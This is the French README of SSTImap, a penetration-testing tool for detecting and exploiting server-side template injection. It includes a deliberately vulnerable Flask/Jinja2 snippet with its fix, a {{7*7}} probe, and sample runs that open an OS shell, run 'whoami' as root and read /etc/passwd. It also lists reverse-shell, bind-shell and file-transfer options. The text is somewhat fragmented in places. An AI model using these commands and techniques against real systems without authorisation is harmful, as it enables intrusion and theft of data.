
Outil de détection automatique de SSTI avec interface interactive
Ce projet est basé sur Tplmap.
SSTImap est un logiciel de test d'intrusion qui peut vérifier les sites web pour détecter les vulnérabilités d'injection de code et d'injection de modèles côté serveur (Server-Side Template Injection) et les exploiter, donnant ainsi accès au système d'exploitation lui-même.
Cet outil a été développé pour être utilisé comme un outil interactif de test d'intrusion pour la détection et l'exploitation de SSTI, ce qui permet une exploitation plus avancée. D'autres payloads pour SSTImap peuvent être trouvés ici.
Les payloads et techniques proviennent de :
Cet outil est capable d'exploiter certaines échappatoires de contexte de code et des scénarios d'injection aveugle. Il prend également en charge les injections de type eval() en Java, JavaScript, PHP, Python, Ruby et les moteurs de templates génériques non sandboxés.
Bien que ce logiciel soit basé sur le code de Tplmap, la compatibilité ascendante n'est pas assurée.
-i) permettant une exploitation et une détection plus faciles--genericEval_generic-x) ou d'une commande unique (-X)-h pour l'aideVoici un exemple de site web simple écrit en Python utilisant le framework Flask et le moteur de templates Jinja2. Il intègre la variable name fournie par l'utilisateur de manière non sécurisée, car elle est concaténée à la chaîne du template avant le rendu.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Non seulement cette façon d'utiliser les templates crée une vulnérabilité XSS, mais elle permet également à l'attaquant d'injecter du code de template, qui sera exécuté sur le serveur, conduisant à une SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
L'entrée fournie par l'utilisateur doit être introduite de manière sécurisée via le contexte de rendu :
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap en mode prédéterminé est très similaire à Tplmap. Il est capable de détecter et d'exploiter les vulnérabilités SSTI dans plusieurs templates différents.
Après l'exploitation, SSTImap peut fournir un accès à l'évaluation de code, à l'exécution de commandes du système d'exploitation et aux manipulations du système de fichiers.
Pour vérifier l'URL, vous pouvez utiliser l'argument -u :
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Utilisez l'option --os-shell pour lancer un pseudo-terminal sur la cible.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Pour obtenir la liste complète des options, utilisez l'argument --help.
En mode interactif, des commandes sont utilisées pour interagir avec SSTImap. Pour entrer en mode interactif, vous pouvez utiliser l'argument -i. Tous les autres arguments, à l'exception de ceux concernant les payloads d'exploitation, seront utilisés comme valeurs initiales pour les paramètres.
Certaines commandes sont utilisées pour modifier les paramètres entre les exécutions de tests. Pour exécuter un test, l'URL cible doit être fournie via l'argument initial -u ou la commande url. Ensuite, vous pouvez utiliser la commande run pour vérifier l'URL pour une SSTI.
Si une SSTI est trouvée, des commandes peuvent être utilisées pour démarrer l'exploitation. Vous pouvez obtenir les mêmes capacités d'exploitation qu'en mode prédéterminé, mais vous pouvez utiliser Ctrl+C pour les interrompre sans arrêter le programme.
D'ailleurs, les résultats des tests restent valides jusqu'à ce que l'URL cible soit modifiée, vous pouvez donc facilement basculer entre les méthodes d'exploitation sans exécuter le test de détection à chaque fois.
Pour obtenir la liste complète des commandes interactives, utilisez la commande help en mode interactif.
SSTImap prend en charge plusieurs moteurs de templates et injections de type eval().
Les nouveaux payloads sont les bienvenus dans les PR. Consultez les conseils pour accélérer le développement.
| Engine | RCE | Tech | Language | Type |
|---|---|---|---|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Mustache (<=1.1.2; detection only) | × | reb_ | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
Techniques : (R)endu, (E)rreur, (B)lind basé sur les erreurs booléennes et (T)ime-based blind ; La lettre minuscule marque une technique partiellement prise en charge
Plus de plugins et de payloads peuvent être trouvés dans le dépôt SSTImap Extra Plugins.
Actuellement, Burp Suite ne fonctionne qu'avec Jython comme moyen d'exécuter python2. La fonctionnalité Python3 n'est pas fournie.
Si vous prévoyez de contribuer à quelque chose d'important sur cette liste, informez-moi pour éviter de travailler sur la même chose que moi ou que d'autres contributeurs.
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19.0) | ✓ | REBT | PHP | Legacy |
| Pybars3 / Pybars4 | ✓ | REBT | Python | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| Obscure evaluating syntaxes | × | Reb_ | * | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |
| CVE-2026-46640 | ✓ | REBT | PHP | Extra |